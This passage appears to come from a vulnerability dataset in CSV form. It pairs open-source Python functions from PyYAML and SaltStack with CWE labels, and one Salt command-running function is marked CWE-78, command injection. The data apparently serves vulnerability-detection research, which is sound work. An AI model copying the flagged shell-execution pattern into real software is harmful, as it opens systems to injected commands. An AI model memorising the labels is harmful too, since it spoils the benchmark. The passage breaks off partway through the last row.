            reduce = data.__reduce_ex__(2)
        elif hasattr(data, '__reduce__'):
            reduce = data.__reduce__()
        else:
            raise RepresenterError(""cannot represent object: %r"" % data)
        reduce = (list(reduce)+[None]*5)[:5]
        function, args, state, listitems, dictitems = reduce
        args = list(args)
        if state is None:
            state = {}
        if listitems is not None:
            listitems = list(listitems)
        if dictitems is not None:
            dictitems = dict(dictitems)
        if function.__name__ == '__newobj__':
            function = args[0]
            args = args[1:]
            tag = u'tag:yaml.org,2002:python/object/new:'
            newobj = True
        else:
            tag = u'tag:yaml.org,2002:python/object/apply:'
            newobj = False
        function_name = u'%s.%s' % (function.__module__, function.__name__)
        if not args and not listitems and not dictitems \
                and isinstance(state, dict) and newobj:
            state = state.items()
            state.sort()
            return self.represent_mapping(
                    u'tag:yaml.org,2002:python/object:'+function_name, state)
        if not listitems and not dictitems  \
                and isinstance(state, dict) and not state:
            return self.represent_sequence(tag+function_name, args)
        value = {}
        if args:
            value['args'] = args
        if state or not isinstance(state, dict):
            value['state'] = state
        if listitems:
            value['listitems'] = listitems
        if dictitems:
            value['dictitems'] = dictitems
        return self.represent_mapping(tag+function_name, value)",,yaml/pyyaml,056fe5c72e6c332ffbd94475ec5df8156b6a9438,"def represent_object(self, data):
        # We use __reduce__ API to save the data. data.__reduce__ returns
        # a tuple of length 2-5:
        #   (function, args, state, listitems, dictitems)

        # For reconstructing, we calls function(*args), then set its state,
        # listitems, and dictitems if they are not None.

        # A special case is when function.__name__ == '__newobj__'. In this
        # case we create the object with args[0].__new__(*args).

        # Another special case is when __reduce__ returns a string - we don't
        # support it.

        # We produce a !!python/object, !!python/object/new or
        # !!python/object/apply node.

        cls = type(data)
        if cls in copy_reg.dispatch_table:
            reduce = copy_reg.dispatch_table[cls]
        elif hasattr(data, '__reduce_ex__'):
            reduce = data.__reduce_ex__(2)
        elif hasattr(data, '__reduce__'):
            reduce = data.__reduce__()
        else:
            raise RepresenterError(""cannot represent object: %r"" % data)
        reduce = (list(reduce)+[None]*5)[:5]
        function, args, state, listitems, dictitems = reduce
        args = list(args)
        if state is None:
            state = {}
        if listitems is not None:
            listitems = list(listitems)
        if dictitems is not None:
            dictitems = dict(dictitems)
        if function.__name__ == '__newobj__':
            function = args[0]
            args = args[1:]
            tag = u'tag:yaml.org,2002:python/object/new:'
            newobj = True
        else:
            tag = u'tag:yaml.org,2002:python/object/apply:'
            newobj = False
        function_name = u'%s.%s' % (function.__module__, function.__name__)
        if not args and not listitems and not dictitems \
                and isinstance(state, dict) and newobj:
            state = state.items()
            state.sort()
            return self.represent_mapping(
                    u'tag:yaml.org,2002:python/object:'+function_name, state)
        if not listitems and not dictitems  \
                and isinstance(state, dict) and not state:
            return self.represent_sequence(tag+function_name, args)
        value = {}
        if args:
            value['args'] = args
        if state or not isinstance(state, dict):
            value['state'] = state
        if listitems:
            value['listitems'] = listitems
        if dictitems:
            value['dictitems'] = dictitems
        return self.represent_mapping(tag+function_name, value)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/grains/core.py,0,"def os_data():
    '''
    Return grains pertaining to the operating system
    '''
    grains = {
        'num_gpus': 0,
        'gpus': [],
    }

    # Windows Server 2008 64-bit
    # ('Windows', 'MINIONNAME', '2008ServerR2', '6.1.7601', 'AMD64', 'Intel64 Fam ily 6 Model 23 Stepping 6, GenuineIntel')
    # Ubuntu 10.04
    # ('Linux', 'MINIONNAME', '2.6.32-38-server', '#83-Ubuntu SMP Wed Jan 4 11:26:59 UTC 2012', 'x86_64', '')
    (grains['kernel'], grains['nodename'],
     grains['kernelrelease'], version, grains['cpuarch'], _) = platform.uname()
    if salt.utils.is_windows():
        grains['osrelease'] = grains['kernelrelease']
        grains['osversion'] = grains['kernelrelease'] = version
        grains['os'] = 'Windows'
        grains['os_family'] = 'Windows'
        grains.update(_memdata(grains))
        grains.update(_windows_platform_data())
        grains.update(_windows_cpudata())
        grains.update(_ps(grains))
        return grains
    elif salt.utils.is_linux():
        # Add lsb grains on any distro with lsb-release
        try:
            import lsb_release
            release = lsb_release.get_distro_information()
            for key, value in release.iteritems():
                key = key.lower()
                lsb_param = 'lsb_{0}{1}'.format(
                    '' if key.startswith('distrib_') else 'distrib_',
                    key
                )
                grains[lsb_param] = value
        except ImportError:
            # if the python library isn't available, default to regex
            if os.path.isfile('/etc/lsb-release'):
                with salt.utils.fopen('/etc/lsb-release') as ifile:
                    for line in ifile:
                        # Matches any possible format:
                        #     DISTRIB_ID=""Ubuntu""
                        #     DISTRIB_ID='Mageia'
                        #     DISTRIB_ID=Fedora
                        #     DISTRIB_RELEASE='10.10'
                        #     DISTRIB_CODENAME='squeeze'
                        #     DISTRIB_DESCRIPTION='Ubuntu 10.10'
                        regex = re.compile('^(DISTRIB_(?:ID|RELEASE|CODENAME|DESCRIPTION))=(?:\'|"")?([\\w\\s\\.-_]+)(?:\'|"")?')
                        match = regex.match(line.rstrip('\n'))
                        if match:
                            # Adds: lsb_distrib_{id,release,codename,description}
                            grains['lsb_{0}'.format(match.groups()[0].lower())] = match.groups()[1].rstrip()
            elif os.path.isfile('/etc/os-release'):
                # Arch ARM Linux
                with salt.utils.fopen('/etc/os-release') as ifile:
                    # Imitate lsb-release
                    for line in ifile:
                        # NAME=""Arch Linux ARM""
                        # ID=archarm
                        # ID_LIKE=arch
                        # PRETTY_NAME=""Arch Linux ARM""
                        # ANSI_COLOR=""0;36""
                        # HOME_URL=""http://archlinuxarm.org/""
                        # SUPPORT_URL=""https://archlinuxarm.org/forum""
                        # BUG_REPORT_URL=""https://github.com/archlinuxarm/PKGBUILDs/issues""
                        regex = re.compile('^([\\w]+)=(?:\'|"")?([\\w\\s\\.-_]+)(?:\'|"")?')
                        match = regex.match(line.rstrip('\n'))
                        if match:
                            name, value = match.groups()
                            if name.lower() == 'name':
                                grains['lsb_distrib_id'] = value.strip()
            elif os.path.isfile('/etc/altlinux-release'):
                # ALT Linux
                grains['lsb_distrib_id'] = 'altlinux'
                with salt.utils.fopen('/etc/altlinux-release') as ifile:
                    # This file is symlinked to from:
                    #     /etc/fedora-release
                    #     /etc/redhat-release
                    #     /etc/system-release
                    for line in ifile:
                        # ALT Linux Sisyphus (unstable)
                        comps = line.split()
                        if comps[0] == 'ALT':
                            grains['lsb_distrib_release'] = comps[2]
                            grains['lsb_distrib_codename'] = \
                                comps[3].replace('(', '').replace(')', '')
            elif os.path.isfile('/etc/centos-release'):
                # CentOS Linux
                grains['lsb_distrib_id'] = 'CentOS'
                with salt.utils.fopen('/etc/centos-release') as ifile:
                    for line in ifile:
                        # Need to pull out the version and codename
                        # in the case of custom content in /etc/centos-release
                        find_release = re.compile('\d+\.\d+')
                        find_codename = re.compile('(?<=\()(.*?)(?=\))')
                        release = find_release.search(line)
                        codename = find_codename.search(line)
                        if release is not None:
                            grains['lsb_distrib_release'] = release.group()
                        if codename is not None:
                            grains['lsb_distrib_codename'] = codename.group()

        # Use the already intelligent platform module to get distro info
        # (though apparently it's not intelligent enough to strip quotes)
        (osname, osrelease, oscodename) = \
            [x.strip('""').strip(""'"") for x in
             platform.linux_distribution(supported_dists=_supported_dists)]
        # Try to assign these three names based on the lsb info, they tend to
        # be more accurate than what python gets from /etc/DISTRO-release.
        # It's worth noting that Ubuntu has patched their Python distribution
        # so that platform.linux_distribution() does the /etc/lsb-release
        # parsing, but we do it anyway here for the sake for full portability.
        grains['osfullname'] = grains.get('lsb_distrib_id', osname).strip()
        grains['osrelease'] = grains.get('lsb_distrib_release',
                                         osrelease).strip()
        grains['oscodename'] = grains.get('lsb_distrib_codename',
                                          oscodename).strip()
        distroname = _REPLACE_LINUX_RE.sub('', grains['osfullname']).strip()
        # return the first ten characters with no spaces, lowercased
        shortname = distroname.replace(' ', '').lower()[:10]
        # this maps the long names from the /etc/DISTRO-release files to the
        # traditional short names that Salt has used.
        grains['os'] = _OS_NAME_MAP.get(shortname, distroname)
        grains.update(_linux_cpudata())
        grains.update(_linux_gpu_data())
    elif grains['kernel'] == 'SunOS':
        grains['os_family'] = 'Solaris'
        uname_v = __salt__['cmd.run']('uname -v')
        if 'joyent_' in uname_v:
            # See https://github.com/joyent/smartos-live/issues/224
            grains['os'] = grains['osfullname'] = 'SmartOS'
            grains['osrelease'] = uname_v
        elif os.path.isfile('/etc/release'):
            with salt.utils.fopen('/etc/release', 'r') as fp_:
                rel_data = fp_.read()
                try:
                    release_re = r'(Solaris|OpenIndiana(?: Development)?)' \
                                 r'\s+(\d+ \d+\/\d+|oi_\S+)?'
                    osname, osrelease = re.search(release_re,
                                                  rel_data).groups()
                except AttributeError:
                    # Set a blank osrelease grain and fallback to 'Solaris'
                    # as the 'os' grain.
                    grains['os'] = grains['osfullname'] = 'Solaris'
                    grains['osrelease'] = ''
                else:
                    grains['os'] = grains['osfullname'] = osname
                    grains['osrelease'] = osrelease

        grains.update(_sunos_cpudata())
    elif grains['kernel'] == 'VMkernel':
        grains['os'] = 'ESXi'
    elif grains['kernel'] == 'Darwin':
        osrelease = __salt__['cmd.run']('sw_vers -productVersion')
        grains['os'] = 'MacOS'
        grains['osrelease'] = osrelease
        grains.update(_bsd_cpudata(grains))
        grains.update(_osx_gpudata())
    else:
        grains['os'] = grains['kernel']
    if grains['kernel'] in ('FreeBSD', 'OpenBSD', 'NetBSD'):
        grains.update(_bsd_cpudata(grains))
        grains['osrelease'] = grains['kernelrelease'].split('-')[0]
        if grains['kernel'] == 'NetBSD':
            grains.update(_netbsd_gpu_data())
    if not grains['os']:
        grains['os'] = 'Unknown {0}'.format(grains['kernel'])
        grains['os_family'] = 'Unknown'
    else:
        # this assigns family names based on the os name
        # family defaults to the os name if not found
        grains['os_family'] = _OS_FAMILY_MAP.get(grains['os'],
                                                 grains['os'])

    grains.update(_memdata(grains))

    # Get the hardware and bios data
    grains.update(_hw_data(grains))

    # Load the virtual machine info
    grains.update(_virtual(grains))
    grains.update(_ps(grains))
    if grains['os_family'] == ""RedHat"":
        grains['osmajorrelease'] = grains['osrelease'].split('.', 1)

    return grains",,saltstack/salt,fa8e3dbeae277b1e7972b073f090bfabbda489ef,"def os_data():
    '''
    Return grains pertaining to the operating system
    '''
    grains = {
        'num_gpus': 0,
        'gpus': [],
    }

    # Windows Server 2008 64-bit
    # ('Windows', 'MINIONNAME', '2008ServerR2', '6.1.7601', 'AMD64', 'Intel64 Fam ily 6 Model 23 Stepping 6, GenuineIntel')
    # Ubuntu 10.04
    # ('Linux', 'MINIONNAME', '2.6.32-38-server', '#83-Ubuntu SMP Wed Jan 4 11:26:59 UTC 2012', 'x86_64', '')
    (grains['kernel'], grains['nodename'],
     grains['kernelrelease'], version, grains['cpuarch'], _) = platform.uname()
    if salt.utils.is_windows():
        grains['osrelease'] = grains['kernelrelease']
        grains['osversion'] = grains['kernelrelease'] = version
        grains['os'] = 'Windows'
        grains['os_family'] = 'Windows'
        grains.update(_memdata(grains))
        grains.update(_windows_platform_data())
        grains.update(_windows_cpudata())
        grains.update(_ps(grains))
        return grains
    elif salt.utils.is_linux():
        # Add lsb grains on any distro with lsb-release
        try:
            import lsb_release
            release = lsb_release.get_distro_information()
            for key, value in release.iteritems():
                key = key.lower()
                lsb_param = 'lsb_{0}{1}'.format(
                    '' if key.startswith('distrib_') else 'distrib_',
                    key
                )
                grains[lsb_param] = value
        except ImportError:
            # if the python library isn't available, default to regex
            if os.path.isfile('/etc/lsb-release'):
                with salt.utils.fopen('/etc/lsb-release') as ifile:
                    for line in ifile:
                        # Matches any possible format:
                        #     DISTRIB_ID=""Ubuntu""
                        #     DISTRIB_ID='Mageia'
                        #     DISTRIB_ID=Fedora
                        #     DISTRIB_RELEASE='10.10'
                        #     DISTRIB_CODENAME='squeeze'
                        #     DISTRIB_DESCRIPTION='Ubuntu 10.10'
                        regex = re.compile('^(DISTRIB_(?:ID|RELEASE|CODENAME|DESCRIPTION))=(?:\'|"")?([\\w\\s\\.-_]+)(?:\'|"")?')
                        match = regex.match(line.rstrip('\n'))
                        if match:
                            # Adds: lsb_distrib_{id,release,codename,description}
                            grains['lsb_{0}'.format(match.groups()[0].lower())] = match.groups()[1].rstrip()
            elif os.path.isfile('/etc/os-release'):
                # Arch ARM Linux
                with salt.utils.fopen('/etc/os-release') as ifile:
                    # Imitate lsb-release
                    for line in ifile:
                        # NAME=""Arch Linux ARM""
                        # ID=archarm
                        # ID_LIKE=arch
                        # PRETTY_NAME=""Arch Linux ARM""
                        # ANSI_COLOR=""0;36""
                        # HOME_URL=""http://archlinuxarm.org/""
                        # SUPPORT_URL=""https://archlinuxarm.org/forum""
                        # BUG_REPORT_URL=""https://github.com/archlinuxarm/PKGBUILDs/issues""
                        regex = re.compile('^([\\w]+)=(?:\'|"")?([\\w\\s\\.-_]+)(?:\'|"")?')
                        match = regex.match(line.rstrip('\n'))
                        if match:
                            name, value = match.groups()
                            if name.lower() == 'name':
                                grains['lsb_distrib_id'] = value.strip()
            elif os.path.isfile('/etc/altlinux-release'):
                # ALT Linux
                grains['lsb_distrib_id'] = 'altlinux'
                with salt.utils.fopen('/etc/altlinux-release') as ifile:
                    # This file is symlinked to from:
                    #     /etc/fedora-release
                    #     /etc/redhat-release
                    #     /etc/system-release
                    for line in ifile:
                        # ALT Linux Sisyphus (unstable)
                        comps = line.split()
                        if comps[0] == 'ALT':
                            grains['lsb_distrib_release'] = comps[2]
                            grains['lsb_distrib_codename'] = \
                                comps[3].replace('(', '').replace(')', '')
        # Use the already intelligent platform module to get distro info
        # (though apparently it's not intelligent enough to strip quotes)
        (osname, osrelease, oscodename) = \
            [x.strip('""').strip(""'"") for x in
             platform.linux_distribution(supported_dists=_supported_dists)]
        # Try to assign these three names based on the lsb info, they tend to
        # be more accurate than what python gets from /etc/DISTRO-release.
        # It's worth noting that Ubuntu has patched their Python distribution
        # so that platform.linux_distribution() does the /etc/lsb-release
        # parsing, but we do it anyway here for the sake for full portability.
        grains['osfullname'] = grains.get('lsb_distrib_id', osname).strip()
        grains['osrelease'] = grains.get('lsb_distrib_release',
                                         osrelease).strip()
        grains['oscodename'] = grains.get('lsb_distrib_codename',
                                          oscodename).strip()
        distroname = _REPLACE_LINUX_RE.sub('', grains['osfullname']).strip()
        # return the first ten characters with no spaces, lowercased
        shortname = distroname.replace(' ', '').lower()[:10]
        # this maps the long names from the /etc/DISTRO-release files to the
        # traditional short names that Salt has used.
        grains['os'] = _OS_NAME_MAP.get(shortname, distroname)
        grains.update(_linux_cpudata())
        grains.update(_linux_gpu_data())
    elif grains['kernel'] == 'SunOS':
        grains['os_family'] = 'Solaris'
        uname_v = __salt__['cmd.run']('uname -v')
        if 'joyent_' in uname_v:
            # See https://github.com/joyent/smartos-live/issues/224
            grains['os'] = grains['osfullname'] = 'SmartOS'
            grains['osrelease'] = uname_v
        elif os.path.isfile('/etc/release'):
            with salt.utils.fopen('/etc/release', 'r') as fp_:
                rel_data = fp_.read()
                try:
                    release_re = r'(Solaris|OpenIndiana(?: Development)?)' \
                                 r'\s+(\d+ \d+\/\d+|oi_\S+)?'
                    osname, osrelease = re.search(release_re,
                                                  rel_data).groups()
                except AttributeError:
                    # Set a blank osrelease grain and fallback to 'Solaris'
                    # as the 'os' grain.
                    grains['os'] = grains['osfullname'] = 'Solaris'
                    grains['osrelease'] = ''
                else:
                    grains['os'] = grains['osfullname'] = osname
                    grains['osrelease'] = osrelease

        grains.update(_sunos_cpudata())
    elif grains['kernel'] == 'VMkernel':
        grains['os'] = 'ESXi'
    elif grains['kernel'] == 'Darwin':
        osrelease = __salt__['cmd.run']('sw_vers -productVersion')
        grains['os'] = 'MacOS'
        grains['osrelease'] = osrelease
        grains.update(_bsd_cpudata(grains))
        grains.update(_osx_gpudata())
    else:
        grains['os'] = grains['kernel']
    if grains['kernel'] in ('FreeBSD', 'OpenBSD', 'NetBSD'):
        grains.update(_bsd_cpudata(grains))
        grains['osrelease'] = grains['kernelrelease'].split('-')[0]
        if grains['kernel'] == 'NetBSD':
            grains.update(_netbsd_gpu_data())
    if not grains['os']:
        grains['os'] = 'Unknown {0}'.format(grains['kernel'])
        grains['os_family'] = 'Unknown'
    else:
        # this assigns family names based on the os name
        # family defaults to the os name if not found
        grains['os_family'] = _OS_FAMILY_MAP.get(grains['os'],
                                                 grains['os'])

    grains.update(_memdata(grains))

    # Get the hardware and bios data
    grains.update(_hw_data(grains))

    # Load the virtual machine info
    grains.update(_virtual(grains))
    grains.update(_ps(grains))
    if grains['os_family'] == ""RedHat"":
        grains['osmajorrelease'] = grains['osrelease'].split('.', 1)

    return grains"
,UNKNOWN,UNKNOWN,salt/modules/cmdmod.py,1,"def _run(cmd,
         cwd=None,
         stdin=None,
         stdout=subprocess.PIPE,
         stderr=subprocess.PIPE,
         output_loglevel='debug',
         quiet=False,
         runas=None,
         shell=DEFAULT_SHELL,
         python_shell=True,
         env=None,
         clean_env=False,
         rstrip=True,
         template=None,
         umask=None,
         timeout=None,
         with_communicate=True,
         reset_system_locale=True,
         saltenv='base',
         use_vt=False):
    '''
    Do the DRY thing and only call subprocess.Popen() once
    '''
    if salt.utils.is_true(quiet):
        salt.utils.warn_until(
            'Lithium',
            'The \'quiet\' option is deprecated and will be removed in the '
            '\'Lithium\' Salt release. Please use output_loglevel=quiet '
            'instead.'
        )

    if _is_valid_shell(shell) is False:
        log.warning(
            'Attempt to run a shell command with what may be an invalid shell! '
            'Check to ensure that the shell <{0}> is valid for this user.'
            .format(shell))

    # Set the default working directory to the home directory of the user
    # salt-minion is running as. Defaults to home directory of user under which
    # the minion is running.
    if not cwd:
        cwd = os.path.expanduser('~{0}'.format('' if not runas else runas))

        # make sure we can access the cwd
        # when run from sudo or another environment where the euid is
        # changed ~ will expand to the home of the original uid and
        # the euid might not have access to it. See issue #1844
        if not os.access(cwd, os.R_OK):
            cwd = '/'
            if salt.utils.is_windows():
                cwd = os.tempnam()[:3]
    else:
        # Handle edge cases where numeric/other input is entered, and would be
        # yaml-ified into non-string types
        cwd = str(cwd)

    if not salt.utils.is_windows():
        if not os.path.isfile(shell) or not os.access(shell, os.X_OK):
            msg = 'The shell {0} is not available'.format(shell)
            raise CommandExecutionError(msg)

    if shell.lower().strip() == 'powershell':
        # If we were called by script(), then fakeout the Windows
        # shell to run a Powershell script.
        # Else just run a Powershell command.
        stack = traceback.extract_stack(limit=2)

        # extract_stack() returns a list of tuples.
        # The last item in the list [-1] is the current method.
        # The third item[2] in each tuple is the name of that method.
        if stack[-2][2] == 'script':
            cmd = 'Powershell -executionpolicy bypass -File ' + cmd
        else:
            cmd = 'Powershell ""{0}""'.format(cmd.replace('""', '\\""'))

    # munge the cmd and cwd through the template
    (cmd, cwd) = _render_cmd(cmd, cwd, template, saltenv)

    ret = {}

    env = _parse_env(env)

    for bad_env_key in (x for x, y in env.iteritems() if y is None):
        log.error('Environment variable {0!r} passed without a value. '
                  'Setting value to an empty string'.format(bad_env_key))
        env[bad_env_key] = ''

    if runas and salt.utils.is_windows():
        # TODO: Figure out the proper way to do this in windows
        msg = 'Sorry, {0} does not support runas functionality'
        raise CommandExecutionError(msg.format(__grains__['os']))

    if runas:
        # Save the original command before munging it
        try:
            pwd.getpwnam(runas)
        except KeyError:
            raise CommandExecutionError(
                'User {0!r} is not available'.format(runas)
            )
        try:
            # Getting the environment for the runas user
            # There must be a better way to do this.
            py_code = 'import os, json;' \
                      'print(json.dumps(os.environ.__dict__))'
            if __grains__['os'] in ['MacOS', 'Darwin']:
                env_cmd = ('sudo', '-i', '-u', runas, '--',
                           sys.executable)
            elif __grains__['os'] in ['FreeBSD']:
                env_cmd = ('su', '-', runas, '-c',
                           ""{0} -c {1}"".format(shell, sys.executable))
            else:
                env_cmd = ('su', '-s', shell, '-', runas, '-c', sys.executable)
            env_json = subprocess.Popen(
                env_cmd,
                stdin=subprocess.PIPE,
                stdout=subprocess.PIPE
            ).communicate(py_code)[0]
            env_json = (filter(lambda x: x.startswith('{') and x.endswith('}'),
                               env_json.splitlines()) or ['{}']).pop()
            env_runas = json.loads(env_json).get('data', {})
            env_runas.update(env)
            env = env_runas
            # Encode unicode kwargs to filesystem encoding to avoid a
            # UnicodeEncodeError when the subprocess is invoked.
            fse = sys.getfilesystemencoding()
            for key, val in env.iteritems():
                if isinstance(val, unicode):
                    env[key] = val.encode(fse)
        except ValueError:
            raise CommandExecutionError(
                'Environment could not be retrieved for User {0!r}'.format(
                    runas
                )
            )

    if _check_loglevel(output_loglevel, quiet) is not None:
        # Always log the shell commands at INFO unless quiet logging is
        # requested. The command output is what will be controlled by the
        # 'loglevel' parameter.
        log.info(
            'Executing command {0!r} {1}in directory {2!r}'.format(
                cmd, 'as user {0!r} '.format(runas) if runas else '', cwd
            )
        )

    if reset_system_locale is True:
        if not salt.utils.is_windows():
            # Default to C!
            # Salt only knows how to parse English words
            # Don't override if the user has passed LC_ALL
            env.setdefault('LC_ALL', 'C')
        else:
            # On Windows set the codepage to US English.
            if python_shell:
                cmd = 'chcp 437 > nul & ' + cmd

    if clean_env:
        run_env = env

    else:
        run_env = os.environ.copy()
        run_env.update(env)

    kwargs = {'cwd': cwd,
              'shell': python_shell,
              'env': run_env,
              'stdin': str(stdin) if stdin is not None else stdin,
              'stdout': stdout,
              'stderr': stderr,
              'with_communicate': with_communicate}

    if umask is not None:
        _umask = str(umask).lstrip('0')

        if _umask == '':
            msg = 'Zero umask is not allowed.'
            raise CommandExecutionError(msg)

        try:
            _umask = int(_umask, 8)
        except ValueError:
            msg = 'Invalid umask: \'{0}\''.format(umask)
            raise CommandExecutionError(msg)
    else:
        _umask = None

    if runas or umask:
        kwargs['preexec_fn'] = functools.partial(
            salt.utils.chugid_and_umask,
            runas,
            _umask)

    if not salt.utils.is_windows():
        # close_fds is not supported on Windows platforms if you redirect
        # stdin/stdout/stderr
        if kwargs['shell'] is True:
            kwargs['executable'] = shell
        kwargs['close_fds'] = True

    if not os.path.isabs(cwd) or not os.path.isdir(cwd):
        raise CommandExecutionError(
            'Specified cwd {0!r} either not absolute or does not exist'
            .format(cwd)
        )

    if python_shell is not True and not isinstance(cmd, list):
        cmd = shlex.split(cmd)
    if not use_vt:
        # This is where the magic happens
        try:
            proc = salt.utils.timed_subprocess.TimedProc(cmd, **kwargs)
        except (OSError, IOError) as exc:
            raise CommandExecutionError(
                'Unable to run command {0!r} with the context {1!r}, reason: {2}'
                .format(cmd, kwargs, exc)
            )

        try:
            proc.wait(timeout)
        except TimedProcTimeoutError as exc:
            ret['stdout'] = str(exc)
            ret['stderr'] = ''
            ret['retcode'] = None
            ret['pid'] = proc.process.pid
            # ok return code for timeouts?
            ret['retcode'] = 1
            return ret

        out, err = proc.stdout, proc.stderr

        if rstrip:
            if out is not None:
                out = out.rstrip()
            if err is not None:
                err = err.rstrip()
        ret['pid'] = proc.process.pid
        ret['retcode'] = proc.process.returncode
        ret['stdout'] = out
        ret['stderr'] = err
    else:
        to = ''
        if timeout:
            to = ' (timeout: {0}s)'.format(timeout)
        if _check_loglevel(output_loglevel, quiet) is not None:
            log.debug('Running {0} in VT{1}'.format(cmd, to))
        stdout, stderr = '', ''
        now = time.time()
        if timeout:
            will_timeout = now + timeout
        else:
            will_timeout = -1
        try:
            proc = vt.Terminal(cmd,
                               shell=True,
                               log_stdout=True,
                               log_stderr=True,
                               cwd=cwd,
                               preexec_fn=kwargs.get('preexec_fn', None),
                               env=run_env,
                               log_stdin_level=output_loglevel,
                               log_stdout_level=output_loglevel,
                               log_stderr_level=output_loglevel,
                               stream_stdout=True,
                               stream_stderr=True)
            # consume output
            finished = False
            ret['pid'] = proc.pid
            while not finished:
                try:
                    try:
                        time.sleep(0.5)
                        try:
                            cstdout, cstderr = proc.recv()
                        except IOError:
                            cstdout, cstderr = '', ''
                        if cstdout:
                            stdout += cstdout
                        else:
                            cstdout = ''
                        if cstderr:
                            stderr += cstderr
                        else:
                            cstderr = ''
                        if not cstdout and not cstderr and not proc.isalive():
                            finished = True
                        if timeout and (time.time() > will_timeout):
                            ret['stderr'] = (
                                'SALT: Timeout after {0}s\n{1}').format(
                                    timeout, stderr)
                            ret['retcode'] = None
                            break
                    except KeyboardInterrupt:
                        ret['stderr'] = 'SALT: User break\n{0}'.format(stderr)
                        ret['retcode'] = 1
                        break
                except vt.TerminalException as exc:
                    log.error(
                        'VT: {0}'.format(exc),
                        exc_info_on_loglevel=logging.DEBUG)
                    ret = {'retcode': 1, 'pid': '2'}
                    break
                # only set stdout on success as we already mangled in other
                # cases
                ret['stdout'] = stdout
                if finished:
                    ret['stderr'] = stderr
                    ret['retcode'] = proc.exitstatus
                ret['pid'] = proc.pid
        finally:
            proc.close(terminate=True, kill=True)
    try:
        __context__['retcode'] = ret['retcode']
    except NameError:
        # Ignore the context error during grain generation
        pass
    return ret",CWE-78,saltstack/salt,45a363fed9fa2a9c1f335ca77342a41a326961d2,"def _run(cmd,
         cwd=None,
         stdin=None,
         stdout=subprocess.PIPE,
         stderr=subprocess.PIPE,
         output_loglevel='debug',
         quiet=False,
         runas=None,
         shell=DEFAULT_SHELL,
         python_shell=True,
         env=None,
         clean_env=False,
         rstrip=True,
         template=None,
         umask=None,
         timeout=None,
         with_communicate=True,
         reset_system_locale=True,
         saltenv='base',
         use_vt=False):
    '''
    Do the DRY thing and only call subprocess.Popen() once
    '''
    if salt.utils.is_true(quiet):
        salt.utils.warn_until(
            'Lithium',
            'The \'quiet\' option is deprecated and will be removed in the '
            '\'Lithium\' Salt release. Please use output_loglevel=quiet '
            'instead.'
        )

    if _is_valid_shell(shell) is False:
        log.warning(
            'Attempt to run a shell command with what may be an invalid shell! '
            'Check to ensure that the shell <{0}> is valid for this user.'
            .format(shell))

    # Set the default working directory to the home directory of the user
    # salt-minion is running as. Defaults to home directory of user under which
    # the minion is running.
    if not cwd:
        cwd = os.path.expanduser('~{0}'.format('' if not runas else runas))

        # make sure we can access the cwd
        # when run from sudo or another environment where the euid is
        # changed ~ will expand to the home of the original uid and
        # the euid might not have access to it. See issue #1844
        if not os.access(cwd, os.R_OK):
            cwd = '/'
            if salt.utils.is_windows():
                cwd = os.tempnam()[:3]
    else:
        # Handle edge cases where numeric/other input is entered, and would be
        # yaml-ified into non-string types
        cwd = str(cwd)

    if not salt.utils.is_windows():
        if not os.path.isfile(shell) or not os.access(shell, os.X_OK):
            msg = 'The shell {0} is not available'.format(shell)
            raise CommandExecutionError(msg)

    if shell.lower().strip() == 'powershell':
        # If we were called by script(), then fakeout the Windows
        # shell to run a Powershell script.
        # Else just run a Powershell command.
        stack = traceback.extract_stack(limit=2)

        # extract_stack() returns a list of tuples.
        # The last item in the list [-1] is the current method.
        # The third item[2] in each tuple is the name of that method.
        if stack[-2][2] == 'script':
            cmd = 'Powershell -executionpolicy bypass -File ' + cmd
        else:
            cmd = 'Powershell ""{0}""'.format(cmd.replace('""', '\\""'))

    # munge the cmd and cwd through the template
    (cmd, cwd) = _render_cmd(cmd, cwd, template, saltenv)

    ret = {}

    env = _parse_env(env)

    for bad_env_key in (x for x, y in env.iteritems() if y is None):
        log.error('Environment variable {0!r} passed without a value. '
                  'Setting value to an empty string'.format(bad_env_key))
        env[bad_env_key] = ''

    if runas and salt.utils.is_windows():
        # TODO: Figure out the proper way to do this in windows
        msg = 'Sorry, {0} does not support runas functionality'
        raise CommandExecutionError(msg.format(__grains__['os']))

    if runas:
        # Save the original command before munging it
        try:
            pwd.getpwnam(runas)
        except KeyError:
            raise CommandExecutionError(
                'User {0!r} is not available'.format(runas)
            )
        try:
            # Getting the environment for the runas user
            # There must be a better way to do this.
            py_code = 'import os, json;' \
                      'print(json.dumps(os.environ.__dict__))'
            if __grains__['os'] in ['MacOS', 'Darwin']:
                env_cmd = ('sudo', '-i', '-u', runas, '--',
                           sys.executable)
            elif __grains__['os'] in ['FreeBSD']:
                env_cmd = ('su', '-', runas, '-c',
                           ""{0} -c {1}"".format(shell, sys.executable))
            else:
                env_cmd = ('su', '-s', shell, '-', runas, '-c', sys.executable)
            env_json = subprocess.Popen(
                env_cmd,
                stdin=subprocess.PIPE,
                stdout=subprocess.PIPE
            ).communicate(py_code)[0]
            env_json = (filter(lambda x: x.startswith('{') and x.endswith('}'),
                               env_json.splitlines()) or ['{}']).pop()
            env_runas = json.loads(env_json).get('data', {})
            env_runas.update(env)
            env = env_runas
            # Encode unicode kwargs to filesystem encoding to avoid a
            # UnicodeEncodeError when the subprocess is invoked.
            fse = sys.getfilesystemencoding()
            for key, val in env.iteritems():
                if isinstance(val, unicode):
                    env[key] = val.encode(fse)
        except ValueError:
            raise CommandExecutionError(
                'Environment could not be retrieved for User {0!r}'.format(
                    runas
                )
            )

    if _check_loglevel(output_loglevel, quiet) is not None:
        # Always log the shell commands at INFO unless quiet logging is
        # requested. The command output is what will be controlled by the
        # 'loglevel' parameter.
        log.info(
            'Executing command {0!r} {1}in directory {2!r}'.format(
                cmd, 'as user {0!r} '.format(runas) if runas else '', cwd
            )
        )

    if reset_system_locale is True:
        if not salt.utils.is_windows():
            # Default to C!
            # Salt only knows how to parse English words
            # Don't override if the user has passed LC_ALL
            env.setdefault('LC_ALL', 'C')
        else:
            # On Windows set the codepage to US English.
            if python_shell:
                cmd = 'chcp 437 > nul & ' + cmd

    if clean_env:
        run_env = env

    else:
        run_env = os.environ.copy()
        run_env.update(env)

    kwargs = {'cwd': cwd,
              'shell': python_shell,
              'env': run_env,
              'stdin': str(stdin) if stdin is not None else stdin,
              'stdout': stdout,
              'stderr': stderr,
              'with_communicate': with_communicate}

    if umask is not None:
        _umask = str(umask).lstrip('0')

        if _umask == '':
            msg = 'Zero umask is not allowed.'
            raise CommandExecutionError(msg)

        try:
            _umask = int(_umask, 8)
        except ValueError:
            msg = 'Invalid umask: \'{0}\''.format(umask)
            raise CommandExecutionError(msg)
    else:
